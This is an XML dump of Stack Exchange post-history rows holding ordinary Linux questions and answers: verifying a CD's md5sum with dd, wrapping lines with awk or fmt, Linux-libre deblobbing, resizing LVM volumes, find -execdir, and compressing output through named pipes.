  <row Id="8133" PostHistoryTypeId="3" PostId="3791" RevisionGUID="bee08c35-c645-414b-af19-83a114cac93d" CreationDate="2010-11-05T14:30:12.027" UserId="1974" Text="éinstallàédistrosàélvmà" />
  <row Id="8134" PostHistoryTypeId="5" PostId="2978" RevisionGUID="573aef4f-b1f0-4ac4-a127-45d948459c0e" CreationDate="2010-11-05T14:47:54.057" UserId="2180" Comment="fix spelling of HeithB" Text="Another way is by calling the interpreter and passing the path to the script to it:&#xD;&#xA;&#xD;&#xA;    /bin/sh /path/to/script&#xD;&#xA;&#xD;&#xA;The dot and source are equivalent. (EDIT: no, they're not: as KeithB points out in a comment on another answer, &quot;.&quot; only works in bash related shells, where &quot;source&quot; works in both bash and csh related shells.) It executes the script in-place (as if you copied and pasted the script right there). This means that any functions and non-local variables in the script remain. It also means if the script does a cd into a directory, you'll still be there when its done.&#xD;&#xA;&#xD;&#xA;The other ways of running a script will run it in its own subshell. Variables in the script are not still alive when it's done. If the script changed directories, then it doesn't affect the calling environment.&#xD;&#xA;&#xD;&#xA;/path/to/script and /bin/sh script are slightly different. Typically, a script has a &quot;shebang&quot; at the beginning that looks like this:&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;This is the path to the script interpreter. If it specifies a different interpreter than you do when you execute it, then it may behave differently (or may not work at all).&#xD;&#xA;&#xD;&#xA;For example, Perl scripts and Ruby scripts begin with (respectively):&#xD;&#xA;&#xD;&#xA;    #! /bin/perl&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    #! /bin/ruby&#xD;&#xA;If you execute one of those scripts by running /bin/sh script, then they will not work at all.&#xD;&#xA;&#xD;&#xA;Ubuntu actually doesn't use the bash shell, but a very similar one called dash. Scripts that require bash may work slightly wrong when called by doing /bin/sh script because you've just called a bash script using the dash interpreter.&#xD;&#xA;&#xD;&#xA;Another small difference between calling the script directly and passing the script path to the interpreter is that the script must be marked executable to run it directly, but not to run it by passing the path to the interpreter.&#xD;&#xA;&#xD;&#xA;Another minor variation: you can prefix any of these ways to execute a script with eval, so, you can have&#xD;&#xA;&#xD;&#xA;    eval sh script&#xD;&#xA;    eval script&#xD;&#xA;    eval . script&#xD;&#xA;&#xD;&#xA;and so on. It doesn't actually change anything, but I thought I'd include it for thoroughness." />
  <row Id="8135" PostHistoryTypeId="2" PostId="3792" RevisionGUID="a3486e9d-d3e0-4c42-b733-9ebddcd0a104" CreationDate="2010-11-05T17:39:27.870" UserId="250" Text="I have an ISO file, which I burned to a CD. Now how can I check if the CD is correctly created? I would like a command that calculate the hash sum that I can use to check with the hash sum I calculate on the ISO file. Ideally the command should:&#xD;&#xA;&#xD;&#xA;- Work regardless of the ISO file: that is, I don't want to keep a list of hash sum for each file in the disc, or remember the number of blocks whatever&#xD;&#xA;- Be relatively short: a one-line command is great, a chain of commands which is two line long is OK, a script that span one page is not&#xD;&#xA;- Be fairly efficient: for example, `dd` the disc back to a file then run `md5sum` on the file is unacceptable&#xD;&#xA;&#xD;&#xA;If there is no answer that cannot satisfy all I will appreciate the nearest match too. Even better if you can tell me why it is not so straight-forward." />
  <row Id="8136" PostHistoryTypeId="1" PostId="3792" RevisionGUID="a3486e9d-d3e0-4c42-b733-9ebddcd0a104" CreationDate="2010-11-05T17:39:27.870" UserId="250" Text="Calculate md5sum of a CD/DVD" />
  <row Id="8137" PostHistoryTypeId="3" PostId="3792" RevisionGUID="a3486e9d-d3e0-4c42-b733-9ebddcd0a104" CreationDate="2010-11-05T17:39:27.870" UserId="250" Text="éisoàécdàéhashsumà" />
  <row Id="8138" PostHistoryTypeId="2" PostId="3793" RevisionGUID="80d1bb8a-4983-48b7-94de-6fb55f450160" CreationDate="2010-11-05T17:49:54.317" UserId="1207" Text="The Linux-libre project is an extension of efforts by distributions aimed at people who wish to use [completely free operating systems][1], as defined by the [Free Software Foundation][2].  &#xD;&#xA;&#xD;&#xA;Currently it is maintained by [FSFLA][3], the Latin American Free software Foundation.  &#xD;&#xA;&#xD;&#xA;According to the [about page][4] for the project:&#xD;&#xA;&#xD;&#xA;&gt; Linux-libre is a project to maintain&#xD;&#xA;&gt; and publish 100% Free distributions of&#xD;&#xA;&gt; Linux, suitable for use in Free System&#xD;&#xA;&gt; Distributions, removing software that&#xD;&#xA;&gt; is included without source code, with&#xD;&#xA;&gt; obfuscated or obscured source code,&#xD;&#xA;&gt; under non-Free Software licenses, that&#xD;&#xA;&gt; do not permit you to change the&#xD;&#xA;&gt; software so that it does what you&#xD;&#xA;&gt; wish, and that induces or requires you&#xD;&#xA;&gt; to install additional pieces of&#xD;&#xA;&gt; non-Free Software.non-Free Software.&#xD;&#xA;&#xD;&#xA;A quick reading of the [lastest version of the &quot;deblobbing&quot; script][5] shows that it mostly removes the binary blobs and some documentation.  In many of the cases the binary blobs are either hardware drivers are firmware for hardware.  Firmware is code that needs to be loaded onto the device itself and is often needed even when a free software driver exists. &#xD;&#xA;&#xD;&#xA;As far as I understand, there is no clear performance benefit from these blobs (although, without them, many people would have *no* performance) and most kernel developers would love to replace them with well-written, Free code.&#xD;&#xA;&#xD;&#xA;In your question you claim that &quot;many of these blobs have been replaced with code in linux-libre&quot; and ask why this code hasn't been accepted.  In my reading of the scripts I could see very little code that was replaced.  Rather the majority of the script is removing code.  The code that is added is intended to &quot;replace the requests for non-Free firmware with messages that inform users that the hardware in question is a trap.&quot; ([Linux Libre Release Accouncement][6]) &#xD;&#xA;&#xD;&#xA;If you have specific code in mind, please mention it in your question.  Most patches for Linux are discussed either on the [Linux Kernel Mailing List][7] or one of the [many subsystem specific lists][8].  Often the reasons for non-inclusion can be found by searching through these lists.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/distros/free-system-distribution-guidelines.html&#xD;&#xA;  [2]: http://www.fsf.org/&#xD;&#xA;  [3]: http://www.fsfla.org/svnwiki/&#xD;&#xA;  [4]: http://www.fsfla.org/svnwiki/selibre/linux-libre/index#how&#xD;&#xA;  [5]: http://www.fsfla.org/svn/fsfla/software/linux-libre/scripts/deblob-2.6.36&#xD;&#xA;  [6]: http://www.fsfla.org/svnwiki/anuncio/2010-03-Linux-2.6.33-libre&#xD;&#xA;  [7]: http://lkml.org/&#xD;&#xA;  [8]: http://kernelnewbies.org/ML" />
  <row Id="8139" PostHistoryTypeId="2" PostId="3794" RevisionGUID="a09bff02-fdc6-48a9-b047-3101ee6dd7c7" CreationDate="2010-11-05T18:08:01.390" UserId="2362" Text="    $ awk 'length &gt; 72' {HOW TO PRINT THE LINEs IN PCS?} msg&#xD;&#xA;&#xD;&#xA;ie I want it to add `\n` after 72 chars and continue, so initially you may need to remove all single `\n`s and the add them. It may be easier be easier with other tool but let's give a try to awk." />
  <row Id="8140" PostHistoryTypeId="1" PostId="3794" RevisionGUID="a09bff02-fdc6-48a9-b047-3101ee6dd7c7" CreationDate="2010-11-05T18:08:01.390" UserId="2362" Text="AWK: Keep lines of at most 72 chars' length" />
  <row Id="8141" PostHistoryTypeId="3" PostId="3794" RevisionGUID="a09bff02-fdc6-48a9-b047-3101ee6dd7c7" CreationDate="2010-11-05T18:08:01.390" UserId="2362" Text="éawkà" />
  <row Id="8142" PostHistoryTypeId="2" PostId="3795" RevisionGUID="51f15e16-7808-4cba-b9eb-6493fa1f6ae6" CreationDate="2010-11-05T18:14:45.040" UserId="1207" Text="The basic problem is that we want to take the md5sum of the exact same information that was on the ISO originally.  When you write the ISO to a CD, there is likely blank space on the end of the disk, which inevitably changes the md5sum.  Thus, the the very shortest way:&#xD;&#xA;&#xD;&#xA;    md5sum /dev/cdrom&#xD;&#xA;&#xD;&#xA;**doesn't work**.  What does work (and is common in [online][1] documentation) is only reading the exact number of bytes from the device and then doing the `md5sum`. If you know the number of bytes you can do something like:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/cdrom bs=1 count=xxxxxxxx | md5sum&#xD;&#xA;&#xD;&#xA;where 'xxxxx' is the size of the iso in bytes.&#xD;&#xA;&#xD;&#xA;If you don't know the number of bytes off hand, but have the iso on your disk still, you can get them using ls by doing the something like the following ([taken from here][2]):&#xD;&#xA;&#xD;&#xA;    dd if=/dev/cdrom | head -c `stat --format=%s file.iso` | md5sum&#xD;&#xA;&#xD;&#xA;There are many other one-line constructions that should work.  Notice that in each case we are using `dd` to read the bytes from the disk, but we aren't piping these to a file, rather, we are handing them to md5sum straight away.&#xD;&#xA;&#xD;&#xA;Possible speed improvements can be made by doing some calculations to use a bigger block size (the `bs=` in the `dd` command).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/HowToMD5SUM&#xD;&#xA;  [2]: http://twiki.org/cgi-bin/view/Wikilearn/CdromMd5sumsAfterBurning" />
  <row Id="8143" PostHistoryTypeId="2" PostId="3796" RevisionGUID="f7953a12-5b21-49e4-8306-05cbd6cec894" CreationDate="2010-11-05T18:36:04.003" UserId="1207" Text="**Not using awk**&#xD;&#xA;&#xD;&#xA;I understand this may just be one part of a larger problem you are trying to solve using `awk` or simply an attempt to understand awk better, but if you really just want to keep your line length to 72 columns, there is a *much* better tool.&#xD;&#xA;&#xD;&#xA;The `fmt` tool was designed with specifically this in mind:&#xD;&#xA;&#xD;&#xA;    fmt --width=72 filename&#xD;&#xA;&#xD;&#xA;`fmt` will also try hard to break the lines in reasonable places, making the output nicer to read. See the `info` page for more details about what `fmt` considers &quot;reasonable places.&quot;" />
  <row Id="8144" PostHistoryTypeId="5" PostId="3793" RevisionGUID="3677efc6-76d8-4b2f-8e6a-7e72d8ea784e" CreationDate="2010-11-05T18:48:57.610" UserId="1207" Comment="deleted 18 characters in body" Text="The Linux-libre project is an extension of efforts by distributions aimed at people who wish to use [completely free operating systems][1], as defined by the [Free Software Foundation][2].  &#xD;&#xA;&#xD;&#xA;Currently it is maintained by [FSFLA][3], the Latin American Free software Foundation.  &#xD;&#xA;&#xD;&#xA;According to the [about page][4] for the project:&#xD;&#xA;&#xD;&#xA;&gt; Linux-libre is a project to maintain&#xD;&#xA;&gt; and publish 100% Free distributions of&#xD;&#xA;&gt; Linux, suitable for use in Free System&#xD;&#xA;&gt; Distributions, removing software that&#xD;&#xA;&gt; is included without source code, with&#xD;&#xA;&gt; obfuscated or obscured source code,&#xD;&#xA;&gt; under non-Free Software licenses, that&#xD;&#xA;&gt; do not permit you to change the&#xD;&#xA;&gt; software so that it does what you&#xD;&#xA;&gt; wish, and that induces or requires you&#xD;&#xA;&gt; to install additional pieces of&#xD;&#xA;&gt; non-Free Software.&#xD;&#xA;&#xD;&#xA;A quick reading of the [lastest version of the &quot;deblobbing&quot; script][5] shows that it mostly removes the binary blobs and some documentation.  In many of the cases the binary blobs are either hardware drivers are firmware for hardware.  Firmware is code that needs to be loaded onto the device itself and is often needed even when a free software driver exists. &#xD;&#xA;&#xD;&#xA;As far as I understand, there is no clear performance benefit from these blobs (although, without them, many people would have *no* performance) and most kernel developers would love to replace them with well-written, Free code.&#xD;&#xA;&#xD;&#xA;In your question you claim that &quot;many of these blobs have been replaced with code in linux-libre&quot; and ask why this code hasn't been accepted.  In my reading of the scripts I could see very little code that was replaced.  Rather the majority of the script is removing code.  The code that is added is intended to &quot;replace the requests for non-Free firmware with messages that inform users that the hardware in question is a trap.&quot; ([Linux Libre Release Accouncement][6]) &#xD;&#xA;&#xD;&#xA;If you have specific code in mind, please mention it in your question.  Most patches for Linux are discussed either on the [Linux Kernel Mailing List][7] or one of the [many subsystem specific lists][8].  Often the reasons for non-inclusion can be found by searching through these lists.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/distros/free-system-distribution-guidelines.html&#xD;&#xA;  [2]: http://www.fsf.org/&#xD;&#xA;  [3]: http://www.fsfla.org/svnwiki/&#xD;&#xA;  [4]: http://www.fsfla.org/svnwiki/selibre/linux-libre/index#how&#xD;&#xA;  [5]: http://www.fsfla.org/svn/fsfla/software/linux-libre/scripts/deblob-2.6.36&#xD;&#xA;  [6]: http://www.fsfla.org/svnwiki/anuncio/2010-03-Linux-2.6.33-libre&#xD;&#xA;  [7]: http://lkml.org/&#xD;&#xA;  [8]: http://kernelnewbies.org/ML" />
  <row Id="8145" PostHistoryTypeId="2" PostId="3797" RevisionGUID="0bde1493-4d6f-477f-be6f-22e7327d3c7d" CreationDate="2010-11-05T18:53:07.803" UserId="885" Text="I don't know if that functionality is offered by typical installers, but it is easy enough to do from a live CD (or live USB or whatever). Both [SystemRescueCD](http://www.sysresccd.org/Main_Page) and [GParted Live](http://gparted.sourceforge.net/livecd.php) have the required tools readily available (there are undoubtedly many other suitable live distributions). Note that you need to boot from a separate system as ext3 filesystems cannot be shrunk while mounted.&#xD;&#xA;&#xD;&#xA;You can use the [GParted](http://gparted.sourceforge.net/) GUI to shrink the filesystem by up to 20GB or so, and resize the existing logical volume accordingly. Then, when you install another distribution, you will be able to create a logical volume in the free space. Note that not all distributions support installing to a logical volume (all the “serious” ones do, of course); for Ubuntu, you need the server installer (as opposed to the desktop installer with snazzy graphics but fewer options).&#xD;&#xA;&#xD;&#xA;If you can't or don't want to use a GUI, here's an overview of how to do this on the command line:&#xD;&#xA;&#xD;&#xA;1. `pvscan` to detect physical volumes (if not already done during boot).&#xD;&#xA;2. `vgimport vg_token` to import the volume group (ditto).&#xD;&#xA;3. `vgchange -ay vg_token` to make the logical volumes accessible.&#xD;&#xA;4. `resize2fs /dev/vg_token/lv_root 72G` (or whatever size you decide on).&#xD;&#xA;5. `lvreduce -L 72g /dev/vg_token/lv_root` (this must be the same size of the filesystem; remember that with LVM tools, lowercase units are binary (k=1024) and uppercase units are decimal (K=1000)).&#xD;&#xA;6. `vgchange -an vg_token; vgexport vg_token; reboot`.&#xD;&#xA;" />
  <row Id="8146" PostHistoryTypeId="2" PostId="3798" RevisionGUID="c59c4de2-33b7-4efd-b431-e591d08a52f8" CreationDate="2010-11-05T19:48:57.270" UserId="885" Text="Awk is a Turing-complete language, and not a particularly obfuscated one, so it's easy enough to truncate lines. Here's a straightforward imperative version.&#xD;&#xA;&#xD;&#xA;    awk -v WIDTH=72 '&#xD;&#xA;    {&#xD;&#xA;        while (length&gt;WIDTH) {&#xD;&#xA;            print substr($0,1,WIDTH);&#xD;&#xA;            $0=substr($0,WIDTH+1);&#xD;&#xA;        }&#xD;&#xA;        print;&#xD;&#xA;    }&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;If you want to truncate lines between words, you can code it up in awk, but recognizing words is a non-trivial (for reasons having more to do with natural languages than algorithmic difficulty). Many systems have a utility called `fmt` that does just that.&#xD;&#xA;" />
  <row Id="8147" PostHistoryTypeId="5" PostId="3796" RevisionGUID="2f395c0a-e182-4d15-83ad-7b7b69339531" CreationDate="2010-11-05T20:00:38.253" UserId="1207" Comment="added 350 characters in body; added 186 characters in body; deleted 534 characters in body" Text="&#xD;&#xA;**Not using awk**&#xD;&#xA;&#xD;&#xA;I understand this may just be one part of a larger problem you are trying to solve using `awk` or simply an attempt to understand awk better, but if you really just want to keep your line length to 72 columns, there is a *much* better tool.&#xD;&#xA;&#xD;&#xA;The `fmt` tool was designed with specifically this in mind:&#xD;&#xA;&#xD;&#xA;    fmt --width=72 filename&#xD;&#xA;&#xD;&#xA;`fmt` will also try hard to break the lines in reasonable places, making the output nicer to read. See the `info` page for more details about what `fmt` considers &quot;reasonable places.&quot;" />
  <row Id="8148" PostHistoryTypeId="2" PostId="3799" RevisionGUID="edc729a4-3c03-4030-b708-49b1c78c3e53" CreationDate="2010-11-05T20:54:10.423" UserId="2564" Text=" 1. Click the Settings menu&#xD;&#xA; 2. Click &quot;Configure - Kate&quot;&#xD;&#xA; 3. On the right expand &quot;Editor&quot;&#xD;&#xA; 4. Click &quot;Indentation&quot;&#xD;&#xA; 5. Uncheck &quot;Use spaces instead of tabs to indent&quot;.&#xD;&#xA;&#xD;&#xA;That works with Kate 2.5.10 (Using KDE 3.5.10) on Debian." />
  <row Id="8149" PostHistoryTypeId="2" PostId="3800" RevisionGUID="8f49ea94-51b4-4af7-bd8c-d18c8ffa1648" CreationDate="2010-11-05T22:23:19.773" UserId="131" Text="I have a specific MP4 video file that plays fine in MPlayer and VLC, but other programs on my Arch Linux box (Banshee, Gnome's Movie Player) are unable to play it. Most seem to treat it as having zero length. It also causes Gnome's Properties dialog to just display a dialog saying &quot;Creating Properties Window&quot; and never load. &#xD;&#xA;&#xD;&#xA;What is it about this file that causes it to do this?" />
  <row Id="8150" PostHistoryTypeId="1" PostId="3800" RevisionGUID="8f49ea94-51b4-4af7-bd8c-d18c8ffa1648" CreationDate="2010-11-05T22:23:19.773" UserId="131" Text="All but MPlayer and VLC unable to play MP4 video?" />
  <row Id="8151" PostHistoryTypeId="3" PostId="3800" RevisionGUID="8f49ea94-51b4-4af7-bd8c-d18c8ffa1648" CreationDate="2010-11-05T22:23:19.773" UserId="131" Text="égnomeàévideoà" />
  <row Id="8152" PostHistoryTypeId="2" PostId="3801" RevisionGUID="ce335460-48e9-4c9a-9a43-0da5d6adc480" CreationDate="2010-11-05T22:35:16.113" UserId="1991" Text="There's guide in Unity_linux forum&#xD;&#xA;&#xD;&#xA;http://forum.unity-linux.org/thread-841.html&#xD;&#xA;&#xD;&#xA;And another one in PClos&#xD;&#xA;&#xD;&#xA;http://www.pclinuxos.com/forum/index.php/topic,74878.0.html&#xD;&#xA;&#xD;&#xA;I think both use separate partitions for each kernel&#xD;&#xA;&#xD;&#xA;The entries in menu.lst are like this:&#xD;&#xA;&#xD;&#xA;    title Unity-2010 -- With Persistence&#xD;&#xA;    kernel (hd0,0)/isolinux/vmlinuz vga=788 livecd=livecd fromusb&#xD;&#xA;    root=Label=Unity-2010 changes_dev=LABEL=Unity-2010 acpi=on fstab=rw,noauto&#xD;&#xA;    initrd (hd0,0)/isolinux/initrd.gz&#xD;&#xA;    &#xD;&#xA;    title Unity-2010 -- No Persistence&#xD;&#xA;    kernel (hd0,0)/isolinux/vmlinuz vga=788 livecd=livecd fromusb&#xD;&#xA;    root=Label=Unity-2010  acpi=on fstab=rw,noauto&#xD;&#xA;    initrd (hd0,0)/isolinux/initrd.gz&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8153" PostHistoryTypeId="2" PostId="3802" RevisionGUID="9e84434a-1971-4a34-9ae6-027570f8d849" CreationDate="2010-11-05T22:41:50.330" UserId="382" Text="Here is an AWK script that wraps long lines and re-wraps the remainders as well as short lines:&#xD;&#xA;&#xD;&#xA;    awk -v WIDTH=72 '&#xD;&#xA;    {&#xD;&#xA;        gsub(&quot;\t&quot;,&quot; &quot;)&#xD;&#xA;        $0 = line $0&#xD;&#xA;        while (length &lt;= WIDTH) {&#xD;&#xA;            line = $0&#xD;&#xA;            more = getline&#xD;&#xA;            gsub(&quot;\t&quot;,&quot; &quot;)&#xD;&#xA;            if (more)&#xD;&#xA;                $0 = line &quot; &quot; $0&#xD;&#xA;            else&#xD;&#xA;                $0 = line&#xD;&#xA;                break&#xD;&#xA;        }&#xD;&#xA;        while (length &gt;= WIDTH) {&#xD;&#xA;            print substr($0,1,WIDTH)&#xD;&#xA;            $0 = substr($0,WIDTH+1)&#xD;&#xA;        }&#xD;&#xA;        line = $0 &quot; &quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    END {&#xD;&#xA;        print&#xD;&#xA;    }&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;There is a Perl script available on CPAN which does a very nice job of reformatting text. It's called [paradj][1] ([individual files][2]). In order to do hyphenation, you will also need [`TeX::Hyphen`][3].&#xD;&#xA;&#xD;&#xA;    SWITCHES&#xD;&#xA;    --------&#xD;&#xA;    The available switches are:&#xD;&#xA;    &#xD;&#xA;    --width=n (or -w=n or -w n)&#xD;&#xA;        Line width is n chars long&#xD;&#xA;    &#xD;&#xA;    --left (or -l)&#xD;&#xA;        Output is left-justified (default)&#xD;&#xA;    &#xD;&#xA;    --right (or -r)&#xD;&#xA;        Output is right-justified&#xD;&#xA;    &#xD;&#xA;    --centered (or -c)&#xD;&#xA;        Output is centered&#xD;&#xA;    &#xD;&#xA;    --both (or -b)&#xD;&#xA;        Output is both left- and right-justified&#xD;&#xA;    &#xD;&#xA;    --indent=n (or -i=n or -i n)&#xD;&#xA;        Leave n spaces for initial indention (defaults to 0)&#xD;&#xA;    &#xD;&#xA;    --newline (or -n)&#xD;&#xA;        Insert blank lines between paragraphs&#xD;&#xA;    &#xD;&#xA;    --hyphenate (or -h)&#xD;&#xA;        Hyphenate word that doesn't fit on a line&#xD;&#xA;&#xD;&#xA;Here is a diff of some changes I made to support a left-margin option:&#xD;&#xA;&#xD;&#xA;    12c12&#xD;&#xA;    &lt; my ($indent, $newline);&#xD;&#xA;    ---&#xD;&#xA;    &gt; my ($indent, $margin, $newline);&#xD;&#xA;    15a16&#xD;&#xA;    &gt;   &quot;margin:i&quot; =&gt; \$margin,&#xD;&#xA;    21a23&#xD;&#xA;    &gt; $margin = 0 if (!$margin);&#xD;&#xA;    149a152&#xD;&#xA;    &gt;     print &quot; &quot; x $margin;&#xD;&#xA;    187a191,193&#xD;&#xA;    &gt;   print &quot;--margin=n (or -m=n or -m n)  Add a left margin of n &quot;;&#xD;&#xA;    &gt;   print &quot;spaces\n&quot;;&#xD;&#xA;    &gt;   print &quot;                                (defaults to 0)\n&quot;;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.cpan.org/~jcduque/paradj/&#xD;&#xA;  [2]: http://cpansearch.perl.org/src/JCDUQUE/paradj/&#xD;&#xA;  [3]: http://search.cpan.org/~janpaz/TeX-Hyphen-0.140/lib/TeX/Hyphen.pm" />
  <row Id="8154" PostHistoryTypeId="2" PostId="3803" RevisionGUID="ab647815-06f9-43fc-a121-af895630cecf" CreationDate="2010-11-05T23:11:53.587" UserId="2562" Text="I just started using Fedora 14 KDE (installed it yesterday). I'm coming from Windows, and the bottom &quot;panel&quot; was very convenient in its similarity to the Windows taskbar. Unfortunately, I clicked an option, and now I removed the portion of the bar which has my currently open programs. I managed to get it back on the top of the screen, but I want it back at the bottom.&#xD;&#xA;&#xD;&#xA;Basically, all the small icons in the right are now over by the application launcher icon on the left. I have played around with adding widgets, but I couldn't figure anything out. I just want the way it was by default after installation.&#xD;&#xA;&#xD;&#xA;How do I get it back? &#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="8155" PostHistoryTypeId="1" PostId="3803" RevisionGUID="ab647815-06f9-43fc-a121-af895630cecf" CreationDate="2010-11-05T23:11:53.587" UserId="2562" Text="messed up bottom panel - Fedora 14 KDE" />
  <row Id="8156" PostHistoryTypeId="3" PostId="3803" RevisionGUID="ab647815-06f9-43fc-a121-af895630cecf" CreationDate="2010-11-05T23:11:53.587" UserId="2562" Text="éfedoraàékdeà" />
  <row Id="8157" PostHistoryTypeId="2" PostId="3804" RevisionGUID="13ed9d3c-176f-4298-a8cf-c65f32dda68f" CreationDate="2010-11-05T23:37:10.133" UserId="1571" Text="The widgets on the kde panels can be a pain in the ass sometimes. You might be better off removing them all and re-adding them. I've never really found a pattern for how they want to align themselves.&#xD;&#xA;&#xD;&#xA;Also, go wildcats ^_^" />
  <row Id="8158" PostHistoryTypeId="2" PostId="3805" RevisionGUID="c2f19211-9a6f-4f65-98c7-a3284943f605" CreationDate="2010-11-06T01:19:24.160" UserId="2180" Text="`find` will work magic for you.&#xD;&#xA;&#xD;&#xA;    find -name datafile.dat -execdir ~/a.py {} \;&#xD;&#xA;&#xD;&#xA;The find searches recursively in all subdirectories for files that match a set of rules and performs an action on them.&#xD;&#xA;&#xD;&#xA;The -name rule will let you find files with a name that matches what you give it. You can use globbing, for example, &quot;*.dat&quot; would find all the .dat files.&#xD;&#xA;&#xD;&#xA;If necessary, you can use -regex instead of -name to match with a regex pattern instead of a glob pattern, so you could do &quot;.*\\.dat$&quot; to match all the .dat files.&#xD;&#xA;&#xD;&#xA;The -execdir will execute whatever command you give it from the directory of the found file, replacing &quot;{}&quot; with the found file." />
  <row Id="8159" PostHistoryTypeId="5" PostId="3805" RevisionGUID="fb9a9895-1bc3-4666-8302-68c4b93684dc" CreationDate="2010-11-06T01:52:21.900" UserId="2180" Comment="removed unnecessary {}" Text="`find` will work magic for you.&#xD;&#xA;&#xD;&#xA;    find -name datafile.dat -execdir ~/a.py \;&#xD;&#xA;&#xD;&#xA;The find searches recursively in all subdirectories for files that match a set of rules and performs an action on them.&#xD;&#xA;&#xD;&#xA;The -name rule will let you find files with a name that matches what you give it. You can use globbing, for example, &quot;*.dat&quot; would find all the .dat files.&#xD;&#xA;&#xD;&#xA;If necessary, you can use -regex instead of -name to match with a regex pattern instead of a glob pattern, so you could do &quot;.*\\.dat$&quot; to match all the .dat files.&#xD;&#xA;&#xD;&#xA;The -execdir will execute whatever command you give for each found file it from the directory of the found file, adding the found file as an argument." />
  <row Id="8160" PostHistoryTypeId="8" PostId="3805" RevisionGUID="0c12faa6-fb55-4639-9731-6c84c0596506" CreationDate="2010-11-06T01:53:57.797" UserId="2180" Comment="Rollback to [c2f19211-9a6f-4f65-98c7-a3284943f605]" Text="`find` will work magic for you.&#xD;&#xA;&#xD;&#xA;    find -name datafile.dat -execdir ~/a.py {} \;&#xD;&#xA;&#xD;&#xA;The find searches recursively in all subdirectories for files that match a set of rules and performs an action on them.&#xD;&#xA;&#xD;&#xA;The -name rule will let you find files with a name that matches what you give it. You can use globbing, for example, &quot;*.dat&quot; would find all the .dat files.&#xD;&#xA;&#xD;&#xA;If necessary, you can use -regex instead of -name to match with a regex pattern instead of a glob pattern, so you could do &quot;.*\\.dat$&quot; to match all the .dat files.&#xD;&#xA;&#xD;&#xA;The -execdir will execute whatever command you give it from the directory of the found file, replacing &quot;{}&quot; with the found file." />
  <row Id="8161" PostHistoryTypeId="5" PostId="3805" RevisionGUID="89ba4f52-59ba-4cdc-8f38-40fd233fb24b" CreationDate="2010-11-06T02:08:10.937" UserId="2180" Comment="add quotes around {} to prevent shell interpreting them" Text="`find` will work magic for you.&#xD;&#xA;&#xD;&#xA;    find -name datafile.dat -execdir ~/a.py '{}' \;&#xD;&#xA;&#xD;&#xA;The find searches recursively in all subdirectories for files that match a set of rules and performs an action on them.&#xD;&#xA;&#xD;&#xA;The -name rule will let you find files with a name that matches what you give it. You can use globbing, for example, &quot;*.dat&quot; would find all the .dat files.&#xD;&#xA;&#xD;&#xA;If necessary, you can use -regex instead of -name to match with a regex pattern instead of a glob pattern, so you could do &quot;.*\\.dat$&quot; to match all the .dat files.&#xD;&#xA;&#xD;&#xA;The -execdir will execute whatever command you give it from the directory of the found file, replacing &quot;{}&quot; with the found file." />
  <row Id="8162" PostHistoryTypeId="2" PostId="3806" RevisionGUID="172c741d-0bbb-4e4b-8555-7d4e489a352d" CreationDate="2010-11-06T10:27:01.673" UserId="538" Text="I am having an application that I can not change that writes a 250GB big plain text file. GZ compressed only 30 GB remains.&#xD;&#xA;&#xD;&#xA;This application has no option of compressing it's output, and it can only write to a file name (not to stdout).&#xD;&#xA;&#xD;&#xA;Is there a way that I can set this up to be compressed immediately, without needing to have 250 GB data on my disk?&#xD;&#xA;&#xD;&#xA;Also the other way around I need. I need to fool the application in that it reads a plaintext file which in reality is compressed." />
  <row Id="8163" PostHistoryTypeId="1" PostId="3806" RevisionGUID="172c741d-0bbb-4e4b-8555-7d4e489a352d" CreationDate="2010-11-06T10:27:01.673" UserId="538" Text="Is there a way to redirect a file that is written" />
  <row Id="8164" PostHistoryTypeId="3" PostId="3806" RevisionGUID="172c741d-0bbb-4e4b-8555-7d4e489a352d" CreationDate="2010-11-06T10:27:01.673" UserId="538" Text="écompressionà" />
  <row Id="8165" PostHistoryTypeId="5" PostId="3806" RevisionGUID="691887d6-14db-4b4a-b5ab-576f001fc629" CreationDate="2010-11-06T10:39:31.007" UserId="250" Comment="fix some weird english phrases" Text="I have an application which I can not change, that writes to a big 250 GB plain text file. After compressing with GZ it is only 30 GB.&#xD;&#xA;&#xD;&#xA;This application has no option of compressing it's output, and it can only write to a file name (not to stdout).&#xD;&#xA;&#xD;&#xA;Is there a way that I can set up for the output to be compressed immediately, without first storing the 250 GB file on my disk?&#xD;&#xA;&#xD;&#xA;I also need the other way around, to fool the application so that it reads a plaintext file which in reality is compressed." />
  <row Id="8166" PostHistoryTypeId="6" PostId="3806" RevisionGUID="691887d6-14db-4b4a-b5ab-576f001fc629" CreationDate="2010-11-06T10:39:31.007" UserId="250" Comment="fix some weird english phrases" Text="éioöredirectionàécompressionà" />
  <row Id="8167" PostHistoryTypeId="2" PostId="3807" RevisionGUID="b0928dc7-c86f-49f5-9bf2-b4eec42e8f1a" CreationDate="2010-11-06T10:39:58.543" UserId="1946" Text="Use can use `mkfifo` to setup a named pipe in which the program will write, while you `gzip` from that pipe into final destination." />
  <row Id="8168" PostHistoryTypeId="5" PostId="3807" RevisionGUID="3654583d-7934-4d0b-9af8-dbc02d78a7bc" CreationDate="2010-11-06T10:45:55.823" UserId="1946" Comment="added 282 characters in body" Text="* Use can use `mkfifo` to setup a named pipe in which the program will write, while you `gzip` from that pipe into final destination.&#xD;&#xA;&#xD;&#xA;* If you may pass the output filename to the program on command line, then this (probably bash-specific) trick should also work: `program &gt;(gzip - &gt;output.gz)` as this will be translated by the shell into something like `gzip - &lt;/dev/fd/63 &gt;output.gz &amp;; program /dev/fd/63`.&#xD;&#xA;" />
